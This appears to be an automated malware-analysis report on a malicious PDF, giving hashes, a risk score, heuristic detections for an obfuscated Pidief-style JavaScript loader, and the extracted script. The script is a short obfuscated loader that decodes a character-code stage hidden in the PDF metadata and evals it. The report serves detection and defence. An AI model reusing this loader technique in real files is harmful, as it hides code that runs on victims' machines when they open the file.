Malicious PDF — malware analysis report

Static analysis result for SHA-256 bb371098d778d8da…

MALICIOUS

PDF

18.1 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 83c15113c5fe5c46b0e535c131e00432 SHA-1: 605b4443ba66de7ec51c4769a37247125c449c73 SHA-256: bb371098d778d8da62bf0a65a263719e89d4b934714389bdee1a694a92b742e1
154 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x464D 336 bytes
SHA-256: a1313fab1acff942c7efa610c3c0a91143684d3897b1f990a6bdc247df066291
Preview script
First 1,000 lines of the extracted script
var w = 4;
var grz = this.title.replace(/w/g,'*w,');
grz = grz.replace(/t/g,'2');
grz=grz.substr(0,grz.length-2) + ']';
eovkt=function(){return this}();
lehli=eovkt[this.subject];
dycez=lehli(this.producer);
jaf = lehli(grz);
var s = '';
for (i = 0; i < jaf.length; i++) {
	rfah = jaf[i];
	s += dycez(rfah);
}
lehli(s);

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